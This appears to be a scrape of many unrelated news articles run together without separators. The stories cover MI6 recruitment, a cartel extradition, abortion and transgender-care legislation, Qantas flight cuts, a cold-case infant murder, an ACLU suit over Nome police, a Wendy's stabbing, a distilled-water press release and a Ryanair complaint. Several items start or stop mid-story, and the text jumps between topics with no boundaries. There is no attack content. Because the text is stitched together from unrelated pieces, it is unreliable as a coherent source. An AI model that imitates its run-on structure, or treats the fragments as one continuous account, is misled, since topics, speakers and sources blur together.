overseas trips. To apply, individuals also have to be a born or naturalised British citizen and have lived in the UK for eight of the past 10 years. They must have at least five GCSEs, Grades A to E, including maths and English language Grades A to C or equivalent. Telling the teenagers that MI6 officers do not have a licence to kill, unlike James Bond, Sir Alex said: We will work hard to stop bad stuff happening and we will be tough. But we are not the same as the people who we are working against. We do obey the law and we do adhere to the values of our country. The way we are going to succeed is by being cleverer, by out-thinking them, by being more creative. We need people who think out of the box. He emphasised that younger generations live technology, so could bring new skills to the service which is seeking to broaden its recruitment to bolster its problem-solving capabilities and reduce the risk of group-think. In a Q&A session with the teenagers, Sir Alex explained that sometimes SIS officers put themselves at physical risk in dangerous parts of the world, though strenuous efforts were made to minimise this. Edson, 19, said: Its been a reality check. Before today I would not have known about all these jobs and how it is a click away from applying. Sir Alex also told how the service is increasingly seeking to work with private sector companies to develop the next generation of spy tools, with an 85 million National Security Strategic Investment Fund. That is where we are going to get a lot of our innovation and cool kit in the future, he added. Listen to today's episode of The Leader podcast: _________ The word circumstantial has appeared in 59 articles on NYTimes.com in the past year, including on Sept. 29 in the Opinion essay Three Billion Canaries in the Coal Mine by Margaret Renkl: NASHVILLE During the nearly quarter-century that my family has lived in this house, the changes in our neighborhood have become increasingly apparent: fewer trees and wildflowers, fewer bees and butterflies and grasshoppers, fewer tree frogs and songbirds. The vast majority of Tennessee is still rural, and for years I told myself that such changes were merely circumstantial, specific to a city undergoing rapid gentrification and explosive growth. I wasnt trying to save the world by putting up nest boxes for the birds or letting the wildflowers in my yard bloom out before mowing. I was hoping only to provide a small way station for migrating wildlife, trusting they would be fine once they cleared the affluence zone that is the New Nashville. I was wrong. A new study in the journal Science reports that nearly 3 billion North American birds have disappeared since 1970. Thats 29 percent of all birds on this continent. The data are both incontrovertible and shocking. We were stunned by the result, Cornell Universitys Kenneth V. Rosenberg, the studys lead author, told The Times. She swapped the bright lights of Hollywood for Byron Bay with husband Chris Hemsworth and their family, several years ago. And Elsa Pataky looked like a true local as she ran errands around the coastal town on Monday. The Spanish actress, 43, went braless and barefoot in a black mini dress, which showcased her incredible figure. That's Byron baby! Elsa Pataky showed off her tattoos as she went braless and barefoot in a VERY tight mini dress for a stroll around Byron Bay earlier this week The Fast and the Furious star also flaunted her golden tan and small foot and arm tattoos. She accessorised her look with a chic pair of black cat-eye sunglasses and a black tasseled leather bag. The mother-of-three wore layers of gold jewellery, including bracelets, necklaces and anklets, to complete her bohemian look. Boho: The mother-of-three wore layers of gold jewellery, including bracelets, necklaces and anklets, to complete her bohemian look A more simple life: Last month, Elsa spoke about the benefits of moving from Hollywood to Byron Bay with her family. The couple recently completed building their $20million mansion Elsa appeared to go solo during the outing, without her hunky husband Chris, 36. Last month, Elsa spoke about the benefits of moving from Hollywood to Byron Bay with her family. The couple recently completed building their $20million mansion. In an interview with Vogue Australia, Elsa said that her old life in Tinseltown was 'consuming.' 'I feel Hollywood consumes you in such a way that it feels like work all the time,' Elsa said. 'It feels like work all the time': In an interview with Vogue Australia, Elsa said that her old life in Tinseltown was 'consuming' 'I think when you're in it you don't even realise but when you get out, it changes everything.' Elsa said she had always dreamed of raising her children in nature, and admitted that she had to compromise her passion for acting to fulfill her dream. 'But I changed my life to be a mum, which I think is just the most amazing thing in the world... I wanted to pick my kids up, I wanted to take them to school, I wanted to be part of the school and be involved in what they do,' she said. Elsa and Chris share three young children together - daughter India Rose, seven, and twin sons Sasha and Tristan, five. The Department of Justice seal is seen on a lectern ahead of a press conference in Washington, D.C. on Nov. 28, 2018. Read more MEXICO CITY Mexico extradited the son of the leader of the Jalisco New Generation Cartel to face drug charges in the United States, leading to fears his gang may stage retaliations. The U.S. Department of Justice confirmed Friday that Ruben Oseguera will appear in a federal court in Washington D.C. to answer a drug-distribution indictment. Oseguera is known as "El Menchito," after his father, Nemesio Oseguera, alias El Mencho. They younger Oseguera was born in California and holds dual U.S.-Mexican citizenship. He was arrested in 2015 on weapons possession and organized crime charges, and had been fighting extradition. The Jalisco cartel is currently Mexico's most violent and fastest-growing gang. The move appeared to spark fears of retaliation. The U.S. Embassy issued a security alert saying following previous high-profile security operations, criminal groups operating in Jalisco have responded by taking retaliatory actions including an increase in anti-government rhetoric (banners and internet threats) and blockades inside the city and on interstate highways. On some occasions, these criminals have seized private vehicles and set them on fire, according to the alert. The elder Oseguera remains a fugitive, despite the 2018 arrest of his wife. The U.S. has offered a $10 million for information leading to the arrest of the elder Oseguera. Jalisco New Generation has a reputation for battling with government agents. The cartel brazenly shot down a Mexican military helicopter with a rocket launcher in 2015, prompting Mexican officials to declare an all-out offensive against the criminal group. Judges block on Mississippis heartbeat abortion ban Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment A three-judge panel has unanimously upheld a block on a Mississippi law that would ban most abortions once a baby's heartbeat is detected, which can be as early as six weeks into a pregnancy. In a per curiam decision released Thursday, the panel from the U.S. Court of Appeals for the Fifth Circuit affirmed a preliminary injunction against the state law. The panel opinion referenced an earlier legal decision against a different Mississippi law that banned most abortions performed after 15 weeks gestation. In 2018, Mississippi enacted a law prohibiting abortions, with limited exceptions, after 15 weeks gestational age. A district court enjoined the law, and we recently upheld that injunction, explained the opinion. If a ban on abortion after 15 weeks is unconstitutional, then it follows that a ban on abortion at an earlier stage of pregnancy is also unconstitutional. The Center for Reproductive Rights, a pro-abortion group that brought the lawsuit against the state, celebrated the panel's decision. This is now the second time in two months the Fifth Circuit has told Mississippi that it cannot ban abortion, said Hillary Schneller, senior staff attorney at CRR, on Thursday. Despite the relentless attempts of Mississippi and other states, the right to legal abortion remains the law of the land. Pro-life groups, including LifeNews.com, denounced the panel's opinion. Unborn babies have a right to life and shouldn't be killed in abortions, Life News tweeted Thursday evening. Last March, then Gov. Phil Bryant signed Senate Bill 2116 into law. The measure bans most abortions once a baby's heartbeat can first be detected. The state law included an exemption for abortions when a mother is facing a life threatening medical emergency in which the baby cannot be saved. Ive often said I want Mississippi to be the safest place for an unborn child in America, Bryant said on Twitter the month before he signed SB 2116. He added, I appreciate the leadership of the MS House and Senate, along with members of the legislature, for passing the fetal heartbeat bills today. I look forward to signing this act upon passage. In response, CRR filed suit against the law, expanding upon earlier litigation aimed at the 2018 state law banning most abortions after 15 weeks. Many women dont even know theyre pregnant at six weeks, and this law would force them to carry their pregnancies to term, stated CRR President Nancy Northup last year. Just four months ago, a federal judge told Mississippi they cannot ban abortion after 15 weeks, and now theyve banned it even earlier. We will keep taking them to court until they get the message. Qantas Group has announced cuts to Qantas and Jetstar flights due to coronavirus fears. Across both airlines, flights from Australia to Asia as well as intra-Asia flights are affected. The company also announced a slight reduction in domestic flights to "better meet demand". Visit Business Insider Australia's homepage for more stories. The Qantas Group has announced it is temporarily reducing the number of overall Qantas and Jetstar flights to Asia due to coronavirus concerns. The announcement was made as part of the company's half-yearly earnings, in which a 5% reduction in flights between Australia and New Zealand was also announced. Qantas will cut its Asia capacity by 16% until at least the end of May, which will affect flights between Australia and mainland China, Hong Kong and Singapore. The number of weekly flights between Sydney and Hong Kong, for example, will be halved from 14 to 7. Jetstar will cut its Asia capacity by 14% until at least the end of May, which will affect flights from Australia to Japan and Thailand, as well as intra-Asia flights. The Jetstar airlines in Asia have suspended all flights to mainland China. You can read the full list of reduced flight routes here. Coronavirus resulted in the suspension of our flights to mainland China and were now seeing some secondary impacts with weaker demand on Hong Kong, Singapore and to a lesser extent Japan," Qantas Group CEO Alan Joyce said in a statement. "Other key routes, like the US and UK, havent been impacted." The capacity were taking out is the equivalent of grounding 18 aircraft across Qantas and Jetstar until the end of May, which in turn impacts about 700 full time roles," Joyce added. "To avoid job losses well be using leave balances across our workforce of 30,000 and freezing recruitment to help ride this out. Well also take advantage of having some aircraft on the ground by bringing forward planned maintenance." Qantas Group also announced a general reduction in domestic flights within Australia to "better meet demand". Total domestic capacity will be reduced by 2.3%, with cancellations largely focused on travel between capital cities in off-peak times. Deborah Riddle O'Conner, 54 (pictured), was arrested and charged with first-degree murder after she admitted to being the mother of 'Baby Michael' Authorities in North Carolina say they have solved a 21-year-old cold case after they tracked down a woman accused of killing her newborn son and dumping his body alongside a road. Deborah Riddle O'Conner, 54, was arrested on Thursday and charged with first-degree murder, according to the Cumberland County Sheriff's Office. Investigators allege O'Conner, gave birth to the baby boy, nicknamed 'Baby Michael,' before placing him in a trash bag and tossing him from a moving car. The infant died of blunt force trauma, the Sheriff's Office said in a news release. On March 3, 1999, a solider saw a plastic bag on the side of Canady Pond Road that he thought contained a doll, reported The Fayetteville Observer. Instead, he found a dead newborn - not even a day old - with the umbilical cord still attached. According to The Observer, the infant had a fractured skull, pelvis and spinal column as well as lacerations to his liver and one lung. 'We knew the baby was alive when he was thrown out the window,' former detective Charlie Disponzio, who was first to arrive on the scene, told the newspaper in 2018. 'It really hit home when the [medical examiner's] report came out that the baby was alive when he was born and alive when he was thrown from the vehicle.' The newborn was found dead in a plastic bag on the side of a road in Fayetteville, North Carolina in March 1999. Pictured: Baby Michael's grave at Hair's Chapel Freewill Holiness Church in 2004 Authorities determined the baby had been thrown from a moving car and the cause of death was determined to be blunt force trauma. Pictured: A plaque honoring Baby Michael in 2009 The solider called police, who searched for the baby's parents, but nobody came forward. Detectives named the infant 'Baby Michael,' honored for the patron saint of law enforcement officers. 'They did not want to bury this child without a name,' Cumberland Sheriff Ennis W Wright said at a press conference on Friday. The Observer reports that a funeral was held for the baby at Hair's Chapel Free Will Holiness Church on March 30, 1999 and he was buried in the church's cemetery. The case went cold until recently when DNA samples were sent to Bode Technology, a forensic genealogy company. Bode developed a family line for 'Baby Michael,' which gave investigators a new pool of suspects. Detectives used the results to locate O'Conner more than 200 miles west of where the baby was found, according to a news release from the Sheriff's Office. When police questioned her, she admitted to investigators that she was the boy's mother. O'Conner was charged with first-degree murder just two weeks ahead of the 21st anniversary of the day Baby Michael was discovered. She is currently being held at the Cumberland County Detention Center with no bond and is set to appear in court Friday, according to the Observer. It's unclear whether O'Conner has an attorney who can comment on her behalf. If convicted, she could face life in prison and possibly the death penalty, the district attorney said at Friday's press conference. An Alabama lawmaker wants to make it a crime for doctors to prescribe opposite-sex hormones or medications that block the onset of puberty to people younger than 19 who identify as transgender. Rep. Wes Allen, R-Troy, introduced his bill today. I was shocked when I found out doctors in Alabama were prescribing these types of drugs to children, Allen said in a news release. This is something you hear about happening in California or New York but it is happening right here in Alabama and its time we put a stop to that practice. Allens bill would make it a Class C felony, punishable by up to 10 years in prison, for a doctor to prescribe puberty-blockers or hormones to minors. The bill would also outlaw surgical procedures on minors that change their anatomy to match their gender identity. Allen said in the news release that gender dysphoria is a psychological disorder and should be treated as such without medical procedures that have permanent effects. These children are suffering from a psychological disorder, just as someone who is suffering with bipolar disorder or schizophrenia but we treat those patients and try to help them, Allen said. We should treat these psychological disorders as well. The American Academy of Pediatrics issued a policy statement in 2018 with a different view: Ensuring Comprehensive Care and Support for Transgender and Gender-Diverse Children and Adults. It said transgender identities and diverse gender expression are not mental disorders. Variations in gender identity and expression are normal aspects of human diversity, and binary definitions of gender do not always reflect emerging gender identities, the statement said. It said medications to suppress puberty and cross-sex hormones can be appropriate components of a broad-based gender-affirmative care model. The academy said mental health issues for children with transgender identities were most often the result of stigma and negative experiences they encounter. Allens bill was assigned to the House Health Committee. Allens bill is at least the second introduced this session dealing with transgender youth. A bill by Rep. Chris Pringle, R-Mobile, would prohibit participation by transgender athletes on high school teams that conflict with the gender on their birth certificate. The House State Government Committee on Wednesday approved the Gender is Real Legislative Act. Opponents of the bill, including the Human Rights Campaign, say its discriminatory and assumes a problem that does not exist. Pringle said he wants to make sure girls dont have to compete against transgender athletes with an unfair advantage. ASHGABAT, Turkmenistan, Feb. 21 By Huseyn Hasanov Trend: Turkmenistan has approved a program for rendering humanitarian assistance to Afghanistan for 2020-2022, Trend reports referring to the presidents decree. The program includes a number of activities. In particular, new social facilities are planned to be built, the humanitarian projects are planned to be implemented in the field of healthcare and the measures are planned to be taken to continue cooperation in the field of education. "Turkmenistan stands for resolving the situation in Afghanistan by exclusively peaceful political and diplomatic means, proposing concrete steps aimed at restoring its economy and social infrastructure," Turkmen President Gurbanguly Berdimuhamedov said at the governmental meeting, the Turkmen Doviet Khabarlary state news agency reported. The key condition is the implementation of big infrastructure projects with Afghanistans participation in such important spheres as energy, transport and communications sector. Afghanistan has been recently receiving electricity and liquefied gas from Turkmenistan at preferential prices via Imamnazar-Andkhoy and Serhetabat-Herat transmission lines. The Rabatkashan-Kalainau border transmission line was put into operation for the supply of the Turkmen electricity to Afghanistans northern regions. Turkmenistan is promoting the implementation of a number of regional infrastructure projects with Afghanistans participation. In particular, Ashgabat is working on the implementation of such projects through Afghanistans territory as the construction of a railway to Tajikistan and a gas pipeline to Pakistan and India. The projects on the use of Afghanistans territory as a transit route for the supply of the Turkmen electricity are also being considered. Moreover, Ashgabat has repeatedly stated its readiness for peace talks on Afghanistan to be held in Turkmenistan. New Delhi, Feb 21 : This Friday is the fourth anniversary of the launch of Shyama Prasad Mukherji Rurban Mission (SPMRM). But what is it anyway? To put it simply, it's a collated term for rural and urban. Rural clusters which illustrate potential for growth have economic drivers and derive locational and competitive advantages. That's 'rurban' -- which is not rural but not yet urban. According to the government, "large parts of rural areas in the country are not stand-alone settlements but part of a cluster of settlements, which are relatively proximate to each other. These clusters typically illustrate potential for growth, have economic drivers and derive locational and competitive advantages. These clusters once developed can then be classified as 'Rurban'. " On this day, four years ago, the scheme was launched with a vision to develope cluster of villages that preserve and nurture the essence of rural community life with focus on equity and inclusiveness without compromising with the facilities perceived to be essentially urban in nature, thus creating a cluster of "Rurban Villages". It also had a significance as far as its launch date is concerned -- it is named after BJP's mentor Deendayal Upadhyay. While launching it in 2016, Prime Minister Narendra Modi said, "Through 'Rurban' mission, the government aims to combine the spirit of villages and facilities of cities." Calling it an amalgamation of "rural soul and urban amenities," it was launched with an initial outlay of Rs 5,142.08 crore. St. Johns Episcopal Church will host its annual Shrove Tuesday Pancake Supper Tuesday from 5-7 p.m. at Mansface Church. The church supper has taken place almost every year since 1947 and features sausage, ham, coffee, orange juice and all-you-can-eat pancakes served by church members and volunteers. Residents are invited to the dinner and donations are accepted, which will fund church programs. The church will also host an arts and collectables silent auction, featuring items found at St. Johns Thrift Store. Bids will be accepted until 6:45 p.m. Formed in 1891, St. Johns Episcopa... Punjab: Fish earn this farmer Rs 15 lakh per year by Neel Kamal February 21,2020 | Source: The Times of India A farmer from Badbar village in Barnala has been able to break the wheat-paddy crop cycle by opting for fish farming in 2016 and making a profit of nearly Rs 12 lakh in 2019. Sukhpal Singh (43) established two ponds on 6.5 acres in 2016, 2.5 acres on his own land and by taking four acres on lease from the village panchayat. In another 2.5 acres of his farmland, Sukhpal grows wheat and basmati. In 2019, he earned Rs 15 lakh from fish farming in 6.5 acres. As he spent nearly Rs 3 lakh on feed, medicines and rotation of water in the two ponds, he earned a net profit of over Rs 12 lakh. Sukhpal says he earned more than Rs 10 lakh in 2017 and 2018 too. "Till four years ago, I too was into conventional wheat-paddy cultivation. But in April 2016, I took 4.5 acres of panchayat land on lease. My own fields and the land which I took on lease were in a low-lying area, so I decided to adopt fish farming and dug up the ponds. I spent Rs 10 lakh in making the ponds and started fish farming. From the first year, I started earning more than I was making through the wheat-paddy cycle," Sukhpal told TOI. Sukhpal is not the only one who is farming fish in Barnala. There are 120 such ponds in the district spread over 500 acres. About 13,000 quintal fish is produced from these ponds in a year and farmers earn Rs. 1.5 to 2 lakh per acre per annum, according to a government estimate. On seeing the profit earned by Sukhpal, another farmer from Badbar, Daljit Singh, has decided to start fish farming on six acres after harvesting wheat. Sukhpal said he had six herbivorous varieties of fish - catla, rohu, murakh, silver carp, grass carp and common carp. "I produce 27-28 quintals of fish per acre per year. One quintal fetches over Rs 9,000," he said. Barnala deputy commissioner Tej Pratap Singh Phoolka described Sukhpal as a progressive farmer whose story had inspired others. He said the farmer should continue to innovate. Phoolka has also visited Sukhpal's farm and fish pond several times and convicned him to go for agro-forestry too. Assistant director of fisheries Rakesh Kumar said training was being provided to farmers who wished to adopt fish farming. "A subsidy of Rs 60,000 per acre is being provided for the construction of a new pond and Rs 20,000 per acre is being provided for feed on first year. Also, a subsidy of Rs 18,000 is provided for two-paddle wheel aerator and Rs 23,000 is given for four-paddle aerator. A farmer can avail a loan of about Rs 4 lakh per hectare (Rs 1.6 lakh per acre pond) from banks," he said. Oil fell as the coronavirus outbreak accelerated beyond China, intensifying concerns about the infections economic fallout. Futures fell 0.9% in New York on Friday. China revised how it calculates infection totals for the third time this month, raising questions about data reliability and confirming the viruss growing reach. Meanwhile, a key IHS Markit gauge of factories and service providers in the worlds largest economy dropped for the first time in seven years, sparking sell-offs in government bonds and equities. The market is seeing a broad risk-off move, said Jan Stuart, global energy economist at Cornerstone Macro. Just when the outbreak was beginning to turn, the new cases are making investors wonder if we have more to worry about. There was no move in the structure however, the backwardation in Brent held. Oil followed the move down as investors took money off the table. PREVIOUSLY: Oil rises to highest price in almost a month Oil has fallen more than 12% this year as Chinas viral outbreak crippled industrial activity and transportation at a time when energy supplies already were abundant. The World Health Organization said if countries dont respond strongly now, the spread outside China may become a wider threat. Still, crude posted a second consecutive weekly gain, supported by supply disruptions in Venezuela and Libya. West Texas Intermediate for April delivery fell 50 cents to settle at $53.38 a barrel on the New York Mercantile Exchange, ending the week 2.6% higher. FUEL FIX: The latest energy news right to your inbox Brent for April settlement declined 81 cents to settle at $58.50 on the ICE Futures Europe exchange putting its premium over WTI at $5.12. The global benchmark rose 2.1% for the week. The Organization of Petroleum Exporting Countries and its allies will meet in March as originally scheduled after efforts by Saudi Arabia to hold an emergency meeting failed to materialize amid resistance from Russia. Saudi Arabias energy minister dismissed a Dow Jones report on Friday that Riyadh was considering a break from its four-year oil production alliance with Russia. Russia has remained noncommittal to an OPEC proposal for additional production cuts. Saudi Arabia needs the production cuts more than Russia, said Ryan Fitzmaurice, commodities strategist at Rabobank. Russia will eventually come to the table in March and participate but Saudi Arabia will likely shoulder most of burden to get them to come on board. --With assistance from James Thornhill, Grant Smith and Saket Sundria. 2020 Bloomberg L.P. Representatives with Bay-Bay Water today announced that the company has launched a new logo. We are proud to announce the launch of Bay-Bay Waters new company logo as part of the ongoing evolution of our companys brand, said Osmay Gonzalez, spokesperson of the company. These logo redesign come at a time when the company is expanding its national reach. We have refreshed our logo to reflect who we are today and to symbolize our future, stressed Osmay, Our new logo better reflects our business and clearly demonstrates the quality of the product we bring to our customers across the nation. Distilled water is the purest form of drinking water on the planet, said Osmay before adding, The purifying process occurs by boiling water into vapor and condensing it back into a liquid form. It is recommended for parents to use distilled water when mixing baby formula and cereals, to avoid an unhealthy intake of minerals. Since life is constantly in motion, our distilled water is designed for easy, on the go use. To ensure we provide you with the best distilled water for baby formula, our quality control checks are extremely thorough, said Osmay. Filter inspections and change-outs are on a strict schedule. Ozone levels are checked every hour. Daily and hourly records of ozone levels and filter changes are mandatory. Osmay went on to explain that at its production facility, the single service bottles arrive wrapped in cling film. Before the pallets of bottles leave the truck, he said, they are visually inspected to ensure no cross-contamination of any kind has taken place during transport. The pallets are stored in a secure area. Before each bottle is filled, it enters an enclosed chamber to receive a sanitizing ozone rinse. The purified water used to fill the bottles passes through a UV filter. Bottles are capped in the filler station, not sent open to the next stage of production. The product is available in 12 and 24-bottle packs of BPA-free and phosphate-free bottles. For the best bottled water for babies on the go, we only use BPA-free and Phosphate-free #1 PETE (Polyethylene Terephthalate) bottles, highlighted Osmay and went on to add, our filtered and distilled water is subject to rigorous safety and quality control tests every step of the way, ensuring that you always get the safest, cleanest, purest bottled water for babies. Each bottle is 16.9 ounces, and the 24-bottle pack has a lower per bottle price than the 12-bottle pack. As to why anyone should give Bay-Bay Water a try, Osmay said that its distilling process is carefully monitored and far above average. First the water is softened, then it passes through a 1-micron filter to screen out any microscopic impurities, Osmay said. Only filtered water enters the distiller, and following the distilling process, it is stored in temperature-controlled silos until it is ready for ozone treatment and packaging. Typically, water is purified by one of three processes: reverse osmosis, distillation, and de-ionization. Bay-Bay relies on the distillation process, which involved boiling, condensing, and steaming to provide the purest result. For more information, please visit: http://www.baybaywater.com/buy, http://www.baybaywater.com/about, and http://www.baybaywater.com/blog. About Bay-Bay Water Bay-Bay is distilled water for baby formula that you can trust. It is phosphate and fluoride-free water for babies in convenient single-serve bottles that you can take on the go. No more sterilizing breakable glass bottles or lugging around gallon-sized jugs of distilled water. Our BPA-free bottled water for formula and cereals is pure, safe, and convenient, making it the pure solution you need. Contact Details: Osmay Gonzalez Bay-Bay Water LLC 8004 NW 154th St. Suite #130 Miami Lakes, FL 33016. USA Email: BayBayWater (at) Gmail (dot) com 1-844-5BAY-BAY / 1-844-522-9229 Source: Bay-Bay Water LLC Senior AAP leader Sanjay Singh on Friday said that the party will have no objections if political strategist Prashant Kishor wants to join the Arvind Kejriwal-led party. "If Prashant Kishor ji wants to join us, we have no objection. Now it is his decision whether to come or not," Singh said while addressing a press conference here. The statement came days after Kishor's dismissal from JDU by party chief Nitish Kumar for vociferously opposing the Citizenship Amendment Act (CAA). Earlier on Tuesday, Kishor had cited ideological positioning as the core reason behind his conflict with Nitish Kumar. "We had a difference since the Lok Sabha elections. First, on ideological positioning and second, I have issues with him as to how he can support both Gandhi (Mahatma Gandhi) and Godse (Nathuram) at the same time. This cannot go together. The party (JDU) should clarify its stand and choose one line," Kishor had said. In December last year, Kishor had joined hands with AAP to assist the party's campaign for the Delhi Assembly polls. Meanwhile, speaking about US First Lady Melania Trump's visit to a Delhi school, Singh said, "The work that the Kejriwal government has done is being talked about not only in Delhi or India but throughout the world. Its a matter of honour for us that the US First lady is coming to see the happiness class of a Delhi government school." The AAP leader said that the Delhi government's mohalla clinic model is being adopted by different states. "Our mohalla clinic model is being adopted by different states. Our education model is appreciated by the Maharashtra and Jharkhand and they are thinking about adopting the model," Singh added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A non-American citizen who wants to get a green card to have a legal and permanent job in the United States must fall into one of the eight categories set by the country's U.S. Citizenship and Immigration Services, according to a published report in the Miami Herald. People around the globe always have this "American Dream." Most people want to stay in the United States for good and dream to have a brighter future not only for themselves but also for their family. In the previous article of Latin Post, it was reported that the easiest way for the non-American citizen to secure a green card for their children is through birth. It was mentioned in the report that Chinese citizens traveled to the U.S. and gave birth to make sure that their child will have a green card. They found this easier compared to applying for a green card. How important is a Green Card for non-American citizens? Getting and having a green card is important because this is a way that allows the immigrants to live and work legally in the country before they can seek American citizenship through naturalization. Typically, an applicant needs a relative or an employer to file a petition for them. There are also instances that they can qualify through a substantial monetary investment or what is known as the visa lottery which is administered by the U.S. State Department. What are the eight categories? 1. Family ties with U.S. citizens and permanent residents One of the easiest ways to get a green card is having an immediate family member living in the United States like a spouse, children who are minors or parents of a U.S. citizen whose age is 21 years old above. 2. Employment-Based Green Cards There are work-based that can lead to legal permanent residency in the United States. They are categorized as: Foreign workers with extra-ordinary skills or outstanding researchers Professionals with advanced degrees Skilled workers and professionals Those who can invest at least $1.8 million that can benefit the U.S. economy and can create at least 10 qualified jobs. 3.Special immigrants in the United States This category covers a broad range. Pastors and religious workers to individuals who come to the country as a broadcaster for the U.S. Agency for Global Media and employees of NATO or international organizations. 4. Refugees and American-asylum seekers A refugee or an asylum seeker who wants to get a green card must have lived in the country for at least one year after their asylum application was approved. They should also continue to meet the definition of a refugee. Moreover, individuals who are admitted to the country as a refugee can also apply in this category. 5. Victims of human trafficking and other crimes This category is only given to the victims of human trafficking who have cooperated with the state for the prosecution of the traffickers and those who are deported from their country of origin because of this matter. This also allows victims of certain criminal acts who suffered mental or physical abuse. 6. Abuse victims This category gives victims of extreme cruelty like women and children. This specifically granted applicants who are under the Violence Against Women Act and Special immigrant Juvenile Classification. 7. Visa Lottery This category is administrated by the U.S. State Department where they issue 50,000 green cards every year through random selection from a wide range of cases. 8. Registry This category allows foreigners who have been in the country since 1972 without any interruption even if they are now undocumented. A former police dispatcher in a small Alaska town filed a lawsuit Thursday, alleging her colleagues in the Nome Police Department didn't investigate after she filed a rape report. Clarice Hardys lawsuit claims the inaction was 'part of the citys systemic and ongoing failure to protect Alaska Native woman from sexual abuse and assault.' The lawsuit filed in federal court on behalf of Hardy by the ACLU seeks unspecified monetary damages and a jury trial in Nome. It came after complaints by Alaska Native women were investigated by The Associated Press, the Anchorage Daily News and other media outlets. Clarice Hardy speaks at a news conference in Anchorage, Alaska. The American Civil Liberties Union of Alaska filed a lawsuit Thursday on Hardy's behalf against the City of Nome, Alaska The six counts in the lawsuit includes a violation of the Equal Protection Clause of the 14th Amendment to the U.S. Constitution. Last year, the ACLU sent a demand letter, seeking $500,000 on Hardys behalf if the city was willing to settle out of court. 'Those claims were essentially ignored, much like Miss Hardys have, and the city refused to negotiate with us,' Stephen Koteff, ACLUs legal director in Alaska, told reporters. The lawsuit also seeks an injunction to force the City of Nome to cease any discriminatory practices and ensure all sexual assault reports are investigated thoroughly. It also seeks punitive damages from the city and separately from two former police officers. Clarice 'Bun' Hardy stands on the beach with her dog, Marley, in the Native Village of Shaktoolik, Alaska. The ACLU is demanding the city of Nome to award $500,000 to Hardy, a former dispatcher for the Nome Police Department, who claims she couldn't get her own colleagues to investigate her report that she was sexually abused Hardy said she no longer felt safe in Nome and moved to her home village, Shaktoolik, where she said girls and men tell her similar stories of abuse. 'It reminds me that no matter how bad my trauma is, or how real my depression, is that I have a voice for a reason,' she said, holding back tears. 'I can't undo the harm done to the hundreds of women the Nome Police Department failed to help, but maybe I can stop this from happening again. Maybe that's my purpose.' Nomes own police data showed between 2008 and 2017, only 8% of calls about sexual assaults against adults resulted in arrests with charges filed in the city of about 4,000 residents located on the Bering Sea coast. Nome City Manager Glenn Steckmann, who has been on the job since November, told the AP he hadn't seen the lawsuit, and wouldn't be able to comment on pending litigation anyway. Besides the city, two former officers, Lt. Nicholas Harvey and Chief John Papasodroa, were also named as defendants. Both no longer work for the police department. The lawsuit claims Papasodroa 'was aware of these failures and ratified his staffs persistent practice of inadequately responding to sexual assault reports and allowed it to continue.' Clarice Hardy wipes a tear away from her eye during a news conference held on Thursday An audit by Papasodoras successor, Robert Estes, found that 76 of the 182 sexual assault reports made between 2015 to 2018 were inadequately investigated. The lawsuit claimed Harvey was responsible for many of those faulty investigations. 'In some of those cases, Lt. Harvey conducted no investigation at all,' the lawsuit said. Phone message and email messages to Harvey seeking comment were not returned. Efforts to find phone contact information for Papasodora were unsuccessful. Estes quit in October 2019, a day after the Nome City Council rejected his request for more resources to investigate cases. Hardy, of Inupiaq heritage, was a 911 dispatcher for Nome police from 2015 to 2018. In March 2017, she awoke one morning, sore and bruised, with no memory of getting home the night before. Friends called her, she said, telling her about photos and a video posted on Snapchat that seemed to show a man having sex with her while she was unconscious. The ACLU's action was filed after an AP investigation of complaints by Alaska Native women that their reports of sexual assault were not investigated aggressively by Nome police Hardy told Harvey she believed she'd been drugged at a local bar and then sexually assaulted. She said she gave him a list of witnesses but they later told her no one from the police department contacted them. Meanwhile she took calls from others who were seeking updates on their sexual assault reports from Harvey. 'Just tell her I'm working on it,' was his response, Hardy previously told the AP. It was the same thing he told her every time she asked about her own case, Hardy said. 'That's when it sparked,' she said. 'Oh my God, he's not doing anything.' She told Papasodora, and she said he said he could not find a report. He asked her to fill out another report and said he would give it to the Alaska State Troopers so they could investigate. Snow blows in front of the entrance to the Nome Public Safety Building, which houses the police department, located on a tundra road on the outskirts of Nome, Alaska. The American Civil Liberties Union accused the Nome Police Department of 'a systemic and disastrous failure' to keep Alaska Native women safe from sexual assault Two months later, Hardy said she asked him the status of the report. 'Chief Papasodora told Ms. Hardy that he `had been meaning to get to it, but that he had not yet taken any action,' the lawsuit said. 'Before I was raped and before I learned the truth about the Nome Police Department, I considered my colleagues family,' she told reporters. 'So that's who I turn turned to after I was raped. They told me that they'd help me. They didn't.' Hardy added: 'Instead, they lied to me over and over and over again.' Pearl Police have charged Edward DeLawrence McWilliams, 42, of Richland, with second-degree murder A worker at a Wendy's restaurant was stabbed to death after he got into an argument with a co-worker in the kitchen that 'escalated and got out of hand.' Police said Herbert Redmond, 25, died at the scene after suffering a stab wound to his neck at the branch in Pearl, Mississippi at around 8pm Thursday. A second man was arrested on suspicion of murder and taken into custody. Greg Flynn, a city public information officer, told WAPT at the scene that no other employees or customers were hurt but the victim's co-workers were visibly distressed. He said: 'A fight escalated and got out of hand and one of them grabbed a knife.' Flynn said: 'It's a very sad situation. Two male employees got into a fight in the kitchen where they were both working. 'One thing led to another and one stabbed the other one, apparently in the neck. 'Unfortunately the employee that was stabbed has died.' An argument between two Wendy's employees escalated and one grabbed a knife One employee was stabbed in the neck and died at the scene while a second was arrested Flynn added: 'It was a very chaotic scene when the officers arrived.' Rankin County Coroner David Ruth this morning identified the victim as 25-year-old Herbert Redmond of Jackson. Pearl Police have charged Edward DeLawrence McWilliams, 42, of Richland, with second-degree murder. McWilliams is being held at the Rankin County Detention Center without bond. He is a felon who served time in the Mississippi Department of Corrections for armed robbery and manslaughter, Pearl police said and the knife used was not one from the restaurant's kitchen. Said: 'It's annoying because the point of paying extra is to get those upgrades. Customers can pay up to 20 to travel in a specific seat on a Ryanair flight Incident happened while he was flying from Berlin to Ireland earlier this week Despite booking specific space on the plane, he found his row had no window Marcos Molina, who lives in Germany, was outraged by the 'window' seat A Ryanair passenger has revealed their outrage after paying extra for a seat by a window on a flight - only to discover that his row didn't have one. Marcos Molina, who lives in Germany, shared his annoyance online yesterday after flying from Berlin to Ireland. He said he paid extra for a specific seat by a window in order to feel 'comfortable' for the 'cramped' flight, but when he arrived on the plane, he discovered that there wasn't a window on his row. He demanded a refund from the airline, telling Dublin Live: 'It's super annoying because the whole point of paying extra is to get those little upgrades.' Marcos Molina, who lives in Germany, demanded a refund from Ryanair 